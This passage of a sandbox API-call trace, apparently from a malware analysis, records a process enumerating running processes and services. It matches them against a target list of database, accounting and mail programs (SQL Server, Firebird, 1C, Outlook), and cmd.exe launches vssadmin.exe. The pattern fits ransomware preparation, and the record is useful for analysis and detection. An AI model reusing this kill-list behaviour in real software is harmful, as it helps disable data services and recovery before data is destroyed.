lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.908] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.908] lstrlenW (lpString="wininit.exe") returned 11 [0060.908] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.908] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.908] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.908] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.908] lstrlenW (lpString="csrss.exe") returned 9 [0060.909] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.909] lstrlenW (lpString="winlogon.exe") returned 12 [0060.909] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.909] lstrlenW (lpString="services.exe") returned 12 [0060.909] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.909] lstrlenW (lpString="lsass.exe") returned 9 [0060.909] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.910] lstrlenW (lpString="lsm.exe") returned 7 [0060.910] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.910] lstrlenW (lpString="svchost.exe") returned 11 [0060.910] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.910] lstrlenW (lpString="svchost.exe") returned 11 [0060.910] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.911] lstrlenW (lpString="svchost.exe") returned 11 [0060.911] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.911] lstrlenW (lpString="svchost.exe") returned 11 [0060.911] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.911] lstrlenW (lpString="svchost.exe") returned 11 [0060.911] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.911] lstrlenW (lpString="audiodg.exe") returned 11 [0060.911] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.912] lstrlenW (lpString="svchost.exe") returned 11 [0060.912] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.912] lstrlenW (lpString="svchost.exe") returned 11 [0060.912] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.912] lstrlenW (lpString="dwm.exe") returned 7 [0060.912] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.913] lstrlenW (lpString="explorer.exe") returned 12 [0060.913] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.913] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.913] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.913] lstrlenW (lpString="taskhost.exe") returned 12 [0060.913] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.913] lstrlenW (lpString="svchost.exe") returned 11 [0060.914] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.914] lstrlenW (lpString="taskeng.exe") returned 11 [0060.914] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.914] lstrlenW (lpString="taskhost.exe") returned 12 [0060.914] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0060.914] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0060.914] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0060.915] lstrlenW (lpString="noticed.exe") returned 11 [0060.915] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0060.915] lstrlenW (lpString="uploaded.exe") returned 12 [0060.915] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0060.915] lstrlenW (lpString="hardware.exe") returned 12 [0060.915] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0060.916] lstrlenW (lpString="oracle.exe") returned 10 [0060.916] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0060.916] lstrlenW (lpString="creativity.exe") returned 14 [0060.916] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0060.916] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0060.916] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0060.916] lstrlenW (lpString="edited.exe") returned 10 [0060.917] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0060.917] lstrlenW (lpString="custody.exe") returned 11 [0060.917] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0060.917] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0060.917] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0060.917] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0060.917] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0060.918] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0060.918] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0060.918] lstrlenW (lpString="radius.exe") returned 10 [0060.918] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0060.918] lstrlenW (lpString="extensions.exe") returned 14 [0060.918] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0060.919] lstrlenW (lpString="desperate.exe") returned 13 [0060.919] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0060.919] lstrlenW (lpString="professor-mo.exe") returned 16 [0060.919] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0060.919] lstrlenW (lpString="guidance.exe") returned 12 [0060.919] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0060.919] lstrlenW (lpString="week.exe") returned 8 [0060.920] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0060.920] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0060.920] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0060.920] lstrlenW (lpString="sn featured.exe") returned 15 [0060.920] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0060.920] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0060.920] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0060.921] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0060.921] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.921] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.921] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0060.921] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0060.921] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.922] lstrlenW (lpString="cmd.exe") returned 7 [0060.922] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.922] lstrlenW (lpString="conhost.exe") returned 11 [0060.922] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.922] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.922] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.922] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.923] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.923] lstrlenW (lpString="svchost.exe") returned 11 [0060.923] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0060.923] CloseHandle (hObject=0x36c) returned 1 [0060.923] Sleep (dwMilliseconds=0x1f4) [0061.632] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x806a90 [0061.633] EnumServicesStatusExW (in: hSCManager=0x806a90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0061.633] GetLastError () returned 0xea [0061.633] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x3372ff8 [0061.634] EnumServicesStatusExW (in: hSCManager=0x806a90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3372ff8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3372ff8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0061.634] CloseServiceHandle (hSCObject=0x806a90) returned 1 [0061.634] lstrlenW (lpString="Appinfo") returned 7 [0061.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0061.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0061.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0061.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0061.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0061.634] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0061.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0061.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0061.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0061.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0061.635] lstrlenW (lpString="AudioSrv") returned 8 [0061.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0061.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0061.635] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0061.635] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0061.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0061.635] lstrlenW (lpString="BFE") returned 3 [0061.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0061.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0061.635] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0061.635] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0061.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0061.635] lstrlenW (lpString="CryptSvc") returned 8 [0061.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0061.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0061.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0061.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0061.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0061.635] lstrlenW (lpString="CscService") returned 10 [0061.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0061.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0061.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0061.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0061.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0061.635] lstrlenW (lpString="DcomLaunch") returned 10 [0061.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0061.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0061.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0061.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0061.635] lstrlenW (lpString="Dhcp") returned 4 [0061.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0061.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0061.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0061.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0061.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0061.636] lstrlenW (lpString="Dnscache") returned 8 [0061.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0061.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0061.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0061.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0061.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0061.636] lstrlenW (lpString="DPS") returned 3 [0061.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0061.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0061.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0061.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0061.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0061.636] lstrlenW (lpString="eventlog") returned 8 [0061.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0061.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0061.636] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0061.636] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0061.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0061.636] lstrlenW (lpString="EventSystem") returned 11 [0061.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0061.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0061.636] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0061.636] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0061.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0061.636] lstrlenW (lpString="gpsvc") returned 5 [0061.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0061.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0061.636] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0061.636] lstrcmpiW (lpString1="mssqlserver", 